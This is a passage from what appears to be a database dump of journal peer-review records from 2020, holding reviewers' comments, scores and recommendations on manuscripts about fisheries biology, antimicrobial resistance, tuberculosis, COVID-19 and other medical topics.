references\r\n    c) Method for determination of t0 is attributed to to Gulland and Hold (1959). Gulland, J.A. and S.J. Holt, 1959. Estimation of growth parameters for data at unequal time intervals. J\r\n        Cons. CIEM, 25(1): 47-49. \r\n    d) Total mortality coefficient used in the methodology is attributed to the Beverton and Holt Plot (Beverton and Holt, 1956). Beverton, R.J.H. and S.J. Holt, 1956. A review of \r\n        methods \r\n        for estimating mortality rates in exploited fish populations, with special reference to sources of bias in catch sampling. Rapp.P.-V.Réun. CIEM, 140:67-83.\r\n    e) Estimation of natural mortality coefficient using annual average surface temperature is attributed to Pauly (1980). Pauly, D., 1980. On the interrelationships between natural \r\n        mortality, growth parameters and mean environmental temperature in 175 fish stocks. J. Cons. CIEM, 39(3):175-192.\r\n     f) The Yield Model is attributed to Beverton and Holt (1966). Beverton, R.J.H. and S.J. Holt, 1966. Manual of methods for fish stock assessment. Part II. Tables of yield function. \r\n        FAO Fish. Biol. Tech. Pap., (38) 10 + 67 pp. (ver. 1).\r\n\r\nRESULTS:\r\n1.  Pg 6 Par 1 Ln 1-4: There is a confusion in the text and reference to Fig.2.\r\n     a) The length range is shown in Fig. 3 and not Fig. 2\r\n     b) Fig. 2 shows the length-weight relationship\r\n2.  The estimate of Total Mortality by Length-Converted Catch-Curve and Beverton and Holt Z-Equation gave 1.84 /Yr and 2.92/Yr. The authors should adequately discuss this \r\n     discrepancy. The assertion that the latter method is commonly used does not justify it to be superior over the latter methods. The authors should give indication on the effect of \r\n     calculation of mean length above L\' and test the effect of varying L\'.\r\n3.  Quite a substantial difference was found in K between in this study (0.73) and Nair (1991) of 0.20701 despite the similar asymptotic lengths of 19.95 and 19.1 respectively.\r\n     a) How would the simulated growth curves look like?\r\n     b) A number of good reasons are provided for the possible causes of these differences but there is no citation of relevant references (Pg 12 Par 1 Ln 5-7)\r\n4.  Pg 11 Table 1. The parameters used in this table for comparison of L-W relationship seem to be useful for Abduhariman et al. (2004), Pauly and Martosubrato (1996) only:\r\n     a) Mbaru et al. (2010) and Nair (1991)would give negative weight)\r\n5.  Pg 11 Par 1 Ln 1-2: The possible ecological factors is too complex to be reduced to population density alone. This discussion should be expanded with relevant reference to show \r\n     weather is is only population density or other factors such as fishing pressure, predation, food availability, competition, environmental conditions etc. \r\n     b) Taskavak and Bileenoglu (2001) gives values that are 1,000 smaller order of magnitude that the expected weights.\r\n6.  Pg 11 Par 2 Ln 4-7 should have been placed under materials and method. the use of non-parametric methods for determination of growth parameters is not mentioned under \r\n     materials and methods.\r\n7.  Pg 12 Par 1 Ln 1-2:This should be in materials and methods.\r\n8.  Pg 12 Par 2 Ln 1-3:This should be in materials and methods.\r\n9.  Pg 13 Par 1 Ln 1-2: The total mortality is always split into fishing mortality (F) and natural mortality (M). It is normally not specified which factors contribute to natural mortality \r\n     since it is a composite parameter.\r\n10. There are a number of superscripts throughout the introduction and it is not clear what they mean. Even if they refer to the reference citations, the sequence in the list of \r\n      references do not math the text or concepts of the content/text \r\n\r\nREFERENCES\r\n\r\n1.  Pg 3 Par 2 Last 3 lines: The following cited references do not appear in the reference list:\r\n     Beverton and Holt, 1957;\r\n     Gulland, 1969;\r\n     Ricker, 1975;\r\n     Pauly, 1980, \r\n     Sparre and Venema, 1998;\r\n     Quinn and Deriso, 1999\r\n2.  The list of references seem to have been compiled without much regard to citation in the text. If the authors intended to superscript the references as they are being cited, then the \r\n      list of references should have been numbered appropriately and hyper-linked to the superscript numbering system\r\n3.  The only references cited are:\r\n     Abdurahiman, K.P., Nayak, T.H., Zacharia, P.U. and Mohamed, K.S (2004)\r\n     Gayanilo, F. C., Sparre, P. and Pauly, D (2003)\r\n     Gulland, J. A. (1996)\r\n     Mbaru, E. K., C. M. Mlewa and E. N. Kimani (2010)\r\n     Nair, P.N (1991)\r\n     Pitcher, T.J (2002)\r\n\r\n','1. Whereas the manuscript has made a good contribution to knowledge by presenting data and information on unstudied species in the Pakistani water, it seem to have challenges in \r\n    style, grammar, formatting and general layout.\r\n2. It is doubtful if the authors followed the guidelines for authors provided by the journal, if not, then this should be provided to the authors.\r\n3. Referencing and citation will require considerable effort and harmonization.\r\n4. Judging from the acknowledgement, the authors seem to be of good academic standing and should considerably improve the quality of the manuscript.\r\n5. It would be useful for the authors to use Equation Editor for all the equations in the manuscript.\r\n6. Even though the technical aspects are reasonable achieved in the manuscript, the form will require considerable updating.\r\n\r\nOn the basis of these shortcomings, I have recommended a major revision of the manuscript  ','2020-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1609,12898,4160,NULL,'1','G','N','N','Y','Unfortunatey the present paper does not present any new findings related to Parkinsons Disease, the authors do not include the figures wich is odd and therefore I can not trust their results.','I highly recommend the editor to reject this paper','2020-05-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1610,9108,4140,NULL,'5','g','y','y','n','Carbapenem resistance is a major and an on-going public health problem globally. It occurs mainly among Gram-negative pathogens such as Klebsiella pneumoniae, Pseudomonas aeruginosa and Acinetobacter baumannii, and may be intrinsic or mediated by transferable carbapenemase-encoding genes. Author evaluated carbapenem resistance mechanisms of Klebsiella pneumoniae strains isolated in two Greek tertiary teaching hospitals with significant study period and methodology. Results are significant in EDTA boronic acid disk tests and antimicrobial susceptibility. Manuscript is well written and suitable to publish in the journal.','','2020-05-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1618,5406,4174,NULL,'5','g','y','y','n','Buchholzia coriacea plant extracts have great potentials as antimicrobial compounds against microorganism, thus they can be used in the treatment of infectious diseases caused by the tested isolates. Antimicrobial activity of ethyl acetate and ethanol seed extracts of Buchholzia coriacea (wonderful kola) against multidrug-resistant clinical isolates of Salmonella species and Escherichia coli is the significant research which author had organized well and results are clear. Results are exposed well using graphs and tables for easy understanding. I recommend to publish the manuscript without any changes.','','2020-05-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1619,10393,4144,NULL,'2','R','D','M','Y','1. The case report is not written is a manner which is clearly understandable and a highlights the importance and significance of the study. Vital information in respect to the therapies needs to be clearly indicated.\r\n2. References are not recent and English needs to be properly structured.\r\n3. My suggestion is to rewrite the manuscript and submit as fresh submission for  re-reviewing.','1. The case report is not written is a manner which is clearly understandable and a highlights the importance and significance of the study. Vital information in respect to the therapies needs to be clearly indicated.\r\n2. References are not recent and English needs to be properly structured.\r\n3. My suggestion is to rewrite the manuscript and submit as fresh submission for  re-reviewing.','2020-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1637,11876,4241,NULL,'4','G','N','M','Y','1.	the title is attractive \r\n2.	the abstract is too long, shorten it, be informative \r\n3.	KEYWORDS are absent\r\n4.	graphical ABSTRACT are absent\r\n5.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n6.	the text is well arranged and the logic needs revision\r\n7.	please note that (Nurick Myelopathy Scale) is an old classification, please revise this to more modified one, see this \r\nhttps://www.sciencedirect.com/science/article/abs/pii/S1529943008002003 \r\n8.	there are few grammatical errors in this article\r\n9.	the related concepts are introduced \r\n10.	the readability is sufficient\r\n11.	the proposed experiment is not novel\r\n12.	the results are good but need rearrangement, real no. then %\r\n13.	the Nurick Classification (1972) is an old fashion, please see this \r\n https://www.sciencedirect.com/science/article/abs/pii/S1529943008002003   \r\n14.	rigorous derivation of formulas/ equations work well\r\n15.	the theoretical analysis in this article is good \r\n16.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n17.	all figures/tables are well referred to in the text\r\n18.	the reference section contains some old ref \r\n19.	please use google scholar search engine then set it since 2016\r\n20.	Bias is present \r\n21.	no Plagiarism \r\n22.	Funds are not mentioned \r\n23.	Conflict of interest are not mentioned\r\n24.	Ethical committee are not mentioned\r\n25.	Acknowledgement are not mentioned','Questions to the authors:\r\n1.	please note what this an old classification, please revise this to more modified one\r\nsee this https://www.sciencedirect.com/science/article/abs/pii/S1529943008002003 \r\nTo the editor:\r\nThis is a medium expert author\r\n','2020-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1638,11876,4241,NULL,'4','G','N','M','Y','1.	the title is attractive \r\n2.	the abstract is too long, shorten it, be informative \r\n3.	KEYWORDS are absent\r\n4.	graphical ABSTRACT are absent\r\n5.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n6.	the text is well arranged and the logic needs revision\r\n7.	please note that (Nurick Myelopathy Scale) is an old classification, please revise this to more modified one, see this \r\nhttps://www.sciencedirect.com/science/article/abs/pii/S1529943008002003 \r\n8.	there are few grammatical errors in this article\r\n9.	the related concepts are introduced \r\n10.	the readability is sufficient\r\n11.	the proposed experiment is not novel\r\n12.	the results are good but need rearrangement, real no. then %\r\n13.	the Nurick Classification (1972) is an old fashion, please see this \r\n https://www.sciencedirect.com/science/article/abs/pii/S1529943008002003   \r\n14.	rigorous derivation of formulas/ equations work well\r\n15.	the theoretical analysis in this article is good \r\n16.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n17.	all figures/tables are well referred to in the text\r\n18.	the reference section contains some old ref \r\n19.	please use google scholar search engine then set it since 2016\r\n20.	Bias is present \r\n21.	no Plagiarism \r\n22.	Funds are not mentioned \r\n23.	Conflict of interest are not mentioned\r\n24.	Ethical committee are not mentioned\r\n25.	Acknowledgement are not mentioned','Questions to the authors:\r\n1.	please note what this an old classification, please revise this to more modified one\r\nsee this https://www.sciencedirect.com/science/article/abs/pii/S1529943008002003 \r\nTo the editor:\r\nThis is a medium expert author\r\n','2020-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1639,11876,4241,NULL,'4','G','N','M','Y','1.	the title is attractive \r\n2.	the abstract is too long, shorten it, be informative \r\n3.	KEYWORDS are absent\r\n4.	graphical ABSTRACT are absent\r\n5.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n6.	the text is well arranged and the logic needs revision\r\n7.	please note that (Nurick Myelopathy Scale) is an old classification, please revise this to more modified one, see this \r\nhttps://www.sciencedirect.com/science/article/abs/pii/S1529943008002003 \r\n8.	there are few grammatical errors in this article\r\n9.	the related concepts are introduced \r\n10.	the readability is sufficient\r\n11.	the proposed experiment is not novel\r\n12.	the results are good but need rearrangement, real no. then %\r\n13.	the Nurick Classification (1972) is an old fashion, please see this \r\n https://www.sciencedirect.com/science/article/abs/pii/S1529943008002003   \r\n14.	rigorous derivation of formulas/ equations work well\r\n15.	the theoretical analysis in this article is good \r\n16.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n17.	all figures/tables are well referred to in the text\r\n18.	the reference section contains some old ref \r\n19.	please use google scholar search engine then set it since 2016\r\n20.	Bias is present \r\n21.	no Plagiarism \r\n22.	Funds are not mentioned \r\n23.	Conflict of interest are not mentioned\r\n24.	Ethical committee are not mentioned\r\n25.	Acknowledgement are not mentioned','Questions to the authors:\r\n1.	please note what this an old classification, please revise this to more modified one\r\nsee this https://www.sciencedirect.com/science/article/abs/pii/S1529943008002003 \r\nTo the editor:\r\nThis is a medium expert author\r\n','2020-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1640,12531,4131,NULL,'3','r','n','y','n','The author has done good quality work. certain things need to be addressed. Objections are clearly mentioned in manuscript file\r\n\r\nGet the manuscript check by professional English expert\r\nMethodology needs corrections.\r\nLimitations of the study should be added to the discussion.\r\nClarification needed in discussion as mentioned in comments.\r\nTable 4 needs redressing.\r\n\r\nRegards\r\n','','2020-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1641,12531,4131,NULL,'3','r','n','y','n','The author has done good quality work. certain things need to be addressed. Objections are clearly mentioned in manuscript file\r\n\r\nGet the manuscript check by professional English expert\r\nMethodology needs corrections.\r\nLimitations of the study should be added to the discussion.\r\nClarification needed in discussion as mentioned in comments.\r\nTable 4 needs redressing.\r\n\r\nRegards\r\n','','2020-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1642,12531,4131,NULL,'3','r','n','y','n','The author has done good quality work. certain things need to be addressed. Objections are clearly mentioned in manuscript file\r\n\r\nGet the manuscript check by professional English expert\r\nMethodology needs corrections.\r\nLimitations of the study should be added to the discussion.\r\nClarification needed in discussion as mentioned in comments.\r\nTable 4 needs redressing.\r\n\r\nRegards\r\n','','2020-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1654,12899,4160,NULL,'1','D','N','N','Y','Figures missing','Data and figures missing, it\'s a real mistake!','2020-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1656,5743,4194,NULL,'4','G','Y','Y','Y','General Comments:\r\n\r\nThe manuscript presents the original findings of a cross-sectional descriptive study from Pakistan with reference to tuberculosis (TB). The study findings provide important insight about the prevalence of TB and outcome of treatment in a primary health care setting in Karachi, Pakistan. The data is likely to expand the TB literature, with reference to Pakistan.\r\n\r\nSpecific Comments:\r\n\r\nSome specific comments are given below to improve the quality of the manuscript.\r\n \r\nHeading: Abstract\r\n•	Background; Line 9: The correct term for “PHC” is “primary health center”; not primary care center.\r\n•	Background; Line 10: The correct spelling is “versus” and not “verses”.\r\n•	Methods; Line 1: PHC means “primary health center”. So, there is no need to add “Centre” after “PHC”\r\n•	Methods; Line 3: The authors have mixed-up American Style and British Style of English. Under “Background” (above), “center” is spelt in “American Style”, while here, it is spelt in “British Style” i.e. “centre”. These mistakes are present multiple times throughout the text. Please note that only a single style should be followed throughout the text, as per the style recommended by the journal.\r\n•	Conclusion; Line 5: Change “improved” to “improve”\r\n•	Conclusion; Line 6: Add “(MDR-TB)” after “TB”.\r\n\r\nHeading: Introduction\r\n•	1st Paragraph; Line 1: Change “south” to “South”\r\n•	1st Paragraph; Line 3-4: The correct term is “low- and middle-income countries (LMIC)”\r\n•	1st Paragraph; Last Line: Insert “crisis” after “refugee”. Insert “the” before “country”.\r\n•	2nd Paragraph; Line 1: With reference to the first word i.e. “Tuberculosis”, the following convention for abbreviations should be noted:\r\n•	Convention for Abbreviations: Whenever a term appears for the first time in the text, the full-form should be written, followed by its abbreviation within brackets. At all subsequent places the abbreviation will suffice. In many places in the text, instead of the abbreviation “TB”, the full-form i.e. “tuberculosis” has been used. The necessary corrections should be made at all relevant places throughout the text. Also, in Line 1 (2nd Paragraph), add “(TB)” after “Tuberculosis”.\r\n•	3rd Paragraph; Line 1: Delete “the” before “10”.\r\n•	3rd Paragraph; Line 5: Delete “As to” and replace with “Till”.\r\n\r\nHeading: Methods\r\n•	2nd Paragraph; Line 11: As per the official website (ntp.gov.pk), the correct term is “National TB Control Program”.\r\n•	Last Paragraph: Insert the full-form of “SPSS” i.e. “the Statistical Package for the Social Sciences” followed by “(SPSS)”.\r\n\r\nHeading: Results\r\n•	1st Paragraph; Line 4-5: The “Table” should be changed to “Figure” as none of them are tables. All of them are figures (1-4). This mistake should be corrected at all relevant places in the text.\r\n•	2nd Paragraph; Line 2: Insert “anti-tubercular treatment” before “(ATT)” \r\n•	Table 1: It should be noted that Table 1 is a repetition of what has been stated in the text. It doesn’t add anything new and therefore, it is advised to delete Table 1.\r\n\r\nHeading: Discussion \r\n•	2nd Paragraph; Line 1: The correct term is “et al” and not “et. Al”. This same mistake has been made at several places within the “Discussion”. All these need to be corrected.\r\n•	2nd Paragraph; Line 10: Insert “that” after “showed”.\r\n•	2nd Paragraph; Line 14: Delete “had loss” and replace with “were lost”.  “follow up” should be linked with a “hyphen”, i.e. it should be written “follow-up”. This correction needs to be made at all relevant places in the text.\r\n•	2nd Paragraph; 3rd Line from Bottom: Replace “have” before “lost” with “are”.\r\n•	3rd Paragraph; 3rd Line from Bottom: Change “Arab” to “Arabia”. This correction needs to be made at all relevant places in the text.\r\n•	4th Paragraph; Line 7: Change “having” to “had” at two places. \r\n•	4th Paragraph; Line 8: Change “Males” to “males”.\r\n•	5th Paragraph; Line 7: “Extrapulmonary” is a single word. The spelling should be changed from “extra pulmonary” to “extrapulmonary” at all relevant places.\r\n\r\nHeading: Limitation\r\n•	Line 2: “Primary Health Care” and “Primary Health Centre (PHC)” have been used interchangeably. Any one of these terms should be used throughout the text, in order to avoid confusion.\r\n\r\nHeading: Conclusion\r\n•	Line 3: “Underreporting” is a single word. The spelling should be rectified accordingly.\r\n\r\nHeading: References\r\nWith regard to the references, the authors should ensure the following: (i) factual accuracy, (ii) correct format as per the style followed by the journal (e.g. Vancouver style etc.), and (iii) maintenance of proper chronological order.','This manuscript is an important one as it addresses a burning issue in Pakistan, like many other low-income and low- and middle-income countries (LMICs). The importance of the topic is highlighted by the fact that tuberculosis (TB) is responsible for the highest mortality of all infectious diseases worldwide. This cross-sectional descriptive study is supported by ample scientifically valid data that buttress the arguments put forward by the authors.\r\n\r\nThere are some minor inconsistencies, mainly pertaining to the format, style, grammar, and typography. However, detailed comments have been provided to the authors so that the necessary corrections can be made. \r\n\r\nThe study findings will be an important addition to the expanding global TB knowledge base, particularly with reference to Pakistan. \r\n\r\nI, therefore, strongly recommend that the paper should be accepted for publication with minor modifications.','2020-05-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1657,5743,4194,NULL,'4','G','Y','Y','Y','General Comments:\r\n\r\nThe manuscript presents the original findings of a cross-sectional descriptive study from Pakistan with reference to tuberculosis (TB). The study findings provide important insight about the prevalence of TB and outcome of treatment in a primary health care setting in Karachi, Pakistan. The data is likely to expand the TB literature, with reference to Pakistan.\r\n\r\nSpecific Comments:\r\n\r\nSome specific comments are given below to improve the quality of the manuscript.\r\n \r\nHeading: Abstract\r\n•	Background; Line 9: The correct term for “PHC” is “primary health center”; not primary care center.\r\n•	Background; Line 10: The correct spelling is “versus” and not “verses”.\r\n•	Methods; Line 1: PHC means “primary health center”. So, there is no need to add “Centre” after “PHC”\r\n•	Methods; Line 3: The authors have mixed-up American Style and British Style of English. Under “Background” (above), “center” is spelt in “American Style”, while here, it is spelt in “British Style” i.e. “centre”. These mistakes are present multiple times throughout the text. Please note that only a single style should be followed throughout the text, as per the style recommended by the journal.\r\n•	Conclusion; Line 5: Change “improved” to “improve”\r\n•	Conclusion; Line 6: Add “(MDR-TB)” after “TB”.\r\n\r\nHeading: Introduction\r\n•	1st Paragraph; Line 1: Change “south” to “South”\r\n•	1st Paragraph; Line 3-4: The correct term is “low- and middle-income countries (LMIC)”\r\n•	1st Paragraph; Last Line: Insert “crisis” after “refugee”. Insert “the” before “country”.\r\n•	2nd Paragraph; Line 1: With reference to the first word i.e. “Tuberculosis”, the following convention for abbreviations should be noted:\r\n•	Convention for Abbreviations: Whenever a term appears for the first time in the text, the full-form should be written, followed by its abbreviation within brackets. At all subsequent places the abbreviation will suffice. In many places in the text, instead of the abbreviation “TB”, the full-form i.e. “tuberculosis” has been used. The necessary corrections should be made at all relevant places throughout the text. Also, in Line 1 (2nd Paragraph), add “(TB)” after “Tuberculosis”.\r\n•	3rd Paragraph; Line 1: Delete “the” before “10”.\r\n•	3rd Paragraph; Line 5: Delete “As to” and replace with “Till”.\r\n\r\nHeading: Methods\r\n•	2nd Paragraph; Line 11: As per the official website (ntp.gov.pk), the correct term is “National TB Control Program”.\r\n•	Last Paragraph: Insert the full-form of “SPSS” i.e. “the Statistical Package for the Social Sciences” followed by “(SPSS)”.\r\n\r\nHeading: Results\r\n•	1st Paragraph; Line 4-5: The “Table” should be changed to “Figure” as none of them are tables. All of them are figures (1-4). This mistake should be corrected at all relevant places in the text.\r\n•	2nd Paragraph; Line 2: Insert “anti-tubercular treatment” before “(ATT)” \r\n•	Table 1: It should be noted that Table 1 is a repetition of what has been stated in the text. It doesn’t add anything new and therefore, it is advised to delete Table 1.\r\n\r\nHeading: Discussion \r\n•	2nd Paragraph; Line 1: The correct term is “et al” and not “et. Al”. This same mistake has been made at several places within the “Discussion”. All these need to be corrected.\r\n•	2nd Paragraph; Line 10: Insert “that” after “showed”.\r\n•	2nd Paragraph; Line 14: Delete “had loss” and replace with “were lost”.  “follow up” should be linked with a “hyphen”, i.e. it should be written “follow-up”. This correction needs to be made at all relevant places in the text.\r\n•	2nd Paragraph; 3rd Line from Bottom: Replace “have” before “lost” with “are”.\r\n•	3rd Paragraph; 3rd Line from Bottom: Change “Arab” to “Arabia”. This correction needs to be made at all relevant places in the text.\r\n•	4th Paragraph; Line 7: Change “having” to “had” at two places. \r\n•	4th Paragraph; Line 8: Change “Males” to “males”.\r\n•	5th Paragraph; Line 7: “Extrapulmonary” is a single word. The spelling should be changed from “extra pulmonary” to “extrapulmonary” at all relevant places.\r\n\r\nHeading: Limitation\r\n•	Line 2: “Primary Health Care” and “Primary Health Centre (PHC)” have been used interchangeably. Any one of these terms should be used throughout the text, in order to avoid confusion.\r\n\r\nHeading: Conclusion\r\n•	Line 3: “Underreporting” is a single word. The spelling should be rectified accordingly.\r\n\r\nHeading: References\r\nWith regard to the references, the authors should ensure the following: (i) factual accuracy, (ii) correct format as per the style followed by the journal (e.g. Vancouver style etc.), and (iii) maintenance of proper chronological order.','This manuscript is an important one as it addresses a burning issue in Pakistan, like many other low-income and low- and middle-income countries (LMICs). The importance of the topic is highlighted by the fact that tuberculosis (TB) is responsible for the highest mortality of all infectious diseases worldwide. This cross-sectional descriptive study is supported by ample scientifically valid data that buttress the arguments put forward by the authors.\r\n\r\nThere are some minor inconsistencies, mainly pertaining to the format, style, grammar, and typography. However, detailed comments have been provided to the authors so that the necessary corrections can be made. \r\n\r\nThe study findings will be an important addition to the expanding global TB knowledge base, particularly with reference to Pakistan. \r\n\r\nI, therefore, strongly recommend that the paper should be accepted for publication with minor modifications.','2020-05-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1662,13101,4056,NULL,'3','G','N','y','y','Title:\r\nGenerally, COVID-19 recovers spontaneously, so it is better to specify which group of patients. \r\n\r\nAbstract:\r\nThousands of individuals worldwide are, unfortunately, experiencing varying symptoms from mild symptoms to severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2).\r\n\r\nCase presentation:\r\n1-    It is incomplete recovery, as patients still need oxygen and have not returned to their baseline.\r\n2-    To add more information about the physical examination, mainly in asthma cases. \r\n3-    More details should be given about the hospital course especially atrial blood gases results before and after oxygen supplements. \r\n4-    The first two cases are known to have asthma, but nothing mentioned about the use of bronchodilators or steroids, which might have a role in their improvement.\r\n5-    The discussion is not enough and needs more references.\r\n6-    As the patients have not improved rapidly with high flow oxygen, why NIV was not tried in these cases? \r\n7- Where the patients were managed? in a negative pressure room? and has any of the staff infected during the management of these cases?  ','Dear editor, \r\n\r\nSome articles have been published about the same topics, so kindly ask the authors to improve the quality of their article and to provide more information about the cases.\r\nAlso, to discuss the difference between their article and the published articles.\r\n\r\nBest regards.','2020-06-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1666,12532,4081,NULL,'3','G','N','Y','Y','Good work done by the author but needs to improve it.','','2020-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1672,9936,4386,NULL,'5','g','y','y','n','Manuscript entitled Human Papillomavirus: A gender-based report on the knowledge of college students in Northern Greece is an interesting topic and the manuscript is well organized. Sexually Transmitted Infections (STIs) are critical issues of public health. Many sex and gender contrasts exist in the study of disease transmission, etiology, finding, treatment and results of STIs. There is a reasonable qualification made between gender which is saved for hormonal, chromosomal or some other highlights coming from individual\'s science. Gender, then again, relates to sociocultural ideas of womanliness and manliness, which can change between societies. I appreciate the questionnaire selected with good number of subjects 398 females and 161 males. Selected methods to evaluate, results and conclusion are significant. Manuscript is clear and falls under the scope of journal which can be published without any changes.','','2020-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1674,11354,4191,NULL,'4','G','Y','Y','Y','This is an important review about cancer stem cell targeting in chronic myeloid leukaemia. Several pathways are involved in the malignancy and CML treatment targets. Potential Targets for CML Treatment may be concluded in each sub-section starting from 3.1 Histone Deacetylase Inhibition.  ','','2020-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1675,13109,3812,NULL,'4','g','y','y','y','The review entitled “Global Efforts towards potential therapeutic options for COVID-19” which describe the efforts towards rapid identification of effective therapeutic agents that would be potentially effective in combating COVID-19.  \r\nThis review is certainly useful to researchers involved in COVID-19 research for their studies against COVID-19 infection. This reviewer recommends publishing the paper in after addressing the following comments:\r\nComments:\r\n1.	In introduction, update recent data for the number of people infected and death as per WHO. \r\n2.	Change the name from “Favilavir” to “Favipiravir”.\r\n3.	Give te full form of JAK in Rheumatoid arthritis drugs.\r\n4.	Correct “wereas” to “whereas” in NSAID section.\r\n','The review entitled “Global Efforts towards potential therapeutic options for COVID-19” which describe the efforts towards rapid identification of effective therapeutic agents that would be potentially effective in combating COVID-19.  \r\nThis review is certainly useful to researchers involved in COVID-19 research for their studies against COVID-19 infection. This reviewer recommend for the publication (manuscript no. ipaom-20-3812) after minor revision.\r\n','2020-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1676,12532,4070,NULL,'4','G','N','Y','Y','Very well written research paper.','','2020-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1677,12972,3985,NULL,'5','r','D','Y','Y','Study and research is good as mini review, view points and all measures are correctly studied.','as mini review can be publish in your journal. points are valid and well defined.','2020-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1678,11589,3575,NULL,'4','g','Y','Y','Y','The article entitled \"Deep coma due to severe multiple sinus thromboses rescued by intravenous heparin and pulse steroid\" is a case report which explain the diagnosis and treatment of deep cerebral vein thrombosis even if the patient is comatose, gives real chance of recovery. And got a conclusion if severe multiple venous sinus thromboses in deep coma successfully treated with heparin and pulse intravenous steroids.. The article is very interesting and useful for future study. With proper image the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Deep coma due to severe multiple sinus thromboses rescued by intravenous heparin and pulse steroid\" is a case report which explain the diagnosis and treatment of deep cerebral vein thrombosis even if the patient is comatose, gives real chance of recovery. And got a conclusion if severe multiple venous sinus thromboses in deep coma successfully treated with heparin and pulse intravenous steroids.. The article is very interesting and useful for future study. With proper image the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1684,9933,3862,NULL,'5','g','y','y','n','Study about AIDS/HIV is a never ending study. In countries like India, this study has to be extended. This aticle gives an extensive knowledge about this and it is well written. Reference format can be checked once befor publishing. Apart from that everything is fine for publication.','','2020-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1685,9923,2777,NULL,'5','g','y','y','n','The Biological Activity of Aqueous and Methanolic Extracts of Juglans Regia on Yeasts and Pathologic Bacteria.\r\n\r\nGram-negative bacteria: Staphylococcus aureus and Streptococcus mutans, Gram-negative bacteria: Escherichia coli and Pseudomonas aeruginosa have been discussed nicely. For the article study of these micro organisms is necessarty and the article has notified this in this sense. Natural plants have been used since ages, the study is worth and the paper can be published as it is.','','2020-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1690,5406,3825,NULL,'5','g','y','y','n','COVID-19 is the most dreadful pandemic of 21st century and its study is hihghly appreciated. As the major symptom of COVID-19 is flu, chest CT scan is a must. As a conventional and non-invasive imaging modality, more than 300 cases can be checked by one CT machine everyday in routinely equipped hospital so this research now should be encouraged. Accept it as it is.','','2020-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1693,13225,3566,NULL,'4','G','Y','Y','Y','The article entitled \"OBSERVATION ON POSTERIOR COLUMN SENSATIONS AS PREDICTOR OF NEUROLOGICAL RECOVERY IN SPINAL CORD INJURY PATIENTS\" is a research article which explain the importance of posterior column sensation sparing at initial presentation in Spinal cord injury rehabilitation.. And got a conclusion that pure posterior column sensory sparing in spinal cord injury is a poor prognostic indicator for neurological recovery when compared to spinothalamic sparing patients. The article is very interesting and useful for future study. With proper image the author explain it very nicely. Abstract and KEYWORDS are missing. I suggest a small change i.e. the formatting and grammar after that this article can publish.','Add abstract and keywords','2020-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1697,13225,3888,NULL,'4','g','y','y','y','The article entitled \"Unusual Seizure Presentation in Early-Onset Alpers–Huttenlocher Syndrome.\" is very useful for future study and in this article, the author describes DNA polymerase gamma-1 (POLG)-related disorders and concludes that targeted genetic analysis of POLG combined with eliciting the family history, may help to confirm the diagnosis of AHS. 